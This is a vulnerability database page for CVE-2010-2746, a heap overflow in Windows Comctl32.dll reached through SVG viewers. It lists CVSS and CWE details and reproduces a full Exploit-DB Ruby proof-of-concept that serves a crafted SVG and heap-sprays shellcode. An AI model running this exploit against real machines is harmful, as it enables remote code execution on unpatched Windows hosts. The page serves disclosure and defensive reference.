CVE-2010-2746 : Detail

CVE-2010-2746

Overflow
84.06%V3
Network
2010-10-13
16h00 +00:00
2018-10-12
17h57 +00:00
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CVE Descriptions

Heap-based buffer overflow in Comctl32.dll (aka the common control library) in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7, when a third-party SVG viewer is used, allows remote attackers to execute arbitrary code via a crafted HTML document that triggers unspecified messages from this viewer, aka "Comctl32 Heap Overflow Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 15963

Publication date : 2011-01-09 23h00 +00:00
Author : Nephi Johnson
EDB Verified : Yes

#!/usr/bin/env ruby # http://breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept # Nephi Johnson require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html", :desc=>"content"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] date_str = Time.now.gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT") headers = "HTTP/1.1 #{code} #{message}\r\n" + "Date: #{date_str}\r\n" + "Content-Length: #{data.length}\r\n" + "Content-Type: #{type}\r\n\r\n" puts "[+] Sending #{opts[:desc]}" sock.write(headers + data) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts "[+] Received:" puts " " + out_str.split("\n")[0] return true else sock.close return false end rescue Exception => ex return false end end port = ARGV[0] || 55555 transform_name = "\x21" * 65535 svg = <<-SVG <?xml version="1.0"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <rect x="50" y="50" height="110" width="110" style="fill: #ffffff" transform="#{transform_name}(10) translate(30) rotate(45 50 50)" > </rect> <text x="100" y="100">CLICK ME</text> </svg> SVG html = <<-HTML <html> <body> <script> <!-- function str_dup(str, length) { var result = str; while(result.length < length) { result += result; } return result.substr(result.length - length); } var shellcode = unescape("%u9000%u9090%u9090") + // msfpayload windows/exec CMD=calc.exe R | msfencode -t js_le -b "\x00" unescape("%u39ba%ue680%udb4f%u29dc%ub1c9%ud933%u2474%u58f4" + "%u5031%u8313%u04c0%u5003%u6236%ub313%ueba0%u4cdc" + "%u8c30%ua955%u9e01%ub902%u2e33%uef40%uc5bf%u0404" + "%uab34%u2b80%u06fd%u02f7%ua6fe%uc837%ua83c%u13cb" + "%u0a10%udbf5%u4b65%u0132%u1985%u4deb%u8e37%u1098" + "%uaf8b%u1f4e%ud7b3%ue0eb%u6247%u30f5%uf9f7%ua8bd" + "%ua57c%uc81d%ub551%u8362%u0ede%u1210%u5f36%u24d9" + "%u0c76%u88e4%u4c7b%u2e20%u3b63%u4c5a%u3c1e%u2e99" + "%uc9c4%u883c%u6a8f%u28e5%uec5c%u266e%u7a29%u2b28" + "%uafac%u5742%u4e25%ud185%u757d%ub901%u1426%u6710" + "%u2989%ucf42%u8c76%ue208%ub663%u6952%u3a72%ud4e9" + "%u4474%u76f2%u751c%u1979%u8a5b%u5da8%uc093%uf4f1" + "%u8d3b%u4563%u2e26%u8a5e%uad5e%u736b%uada5%u7619" + "%u69e2%u0af1%u1c7b%ub9f5%u357c%u5c96%ud5ee%ufa77" + "%u7c96%u0e88"); var base = str_dup(unescape("%u2100"), 0x800 - shellcode.length); var arr = []; for(var i = 0; i < 2000; i++) { arr[i] = document.createElement("a"); arr[i].innerHTML = [base + shellcode].join(""); } --> </script> <iframe width="100%" height="100%" src="poc.svg" marginheight="0" marginwidth="0"></iframe> </body> </html> HTML puts "[+] Listening on port #{port}" puts TCPServer.open(port) do |srv| while true cli = srv.accept req = "" next unless sock_read(cli, req, 5) while req.length > 0 if req =~ /GET.*svg/i break unless http_send(cli, svg, :type=>"image/svg+xml", :desc=>"svg") elsif req =~ /QUIT/ exit() else break unless http_send(cli, html, :type=>"text/html", :desc=>"html") end req = "" next unless sock_read(cli, req, 5) end cli.close rescue next end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

References

http://www.securitytracker.com/id?1024549
Tags : vdb-entry, x_refsource_SECTRACK
http://www.us-cert.gov/cas/techalerts/TA10-285A.html
Tags : third-party-advisory, x_refsource_CERT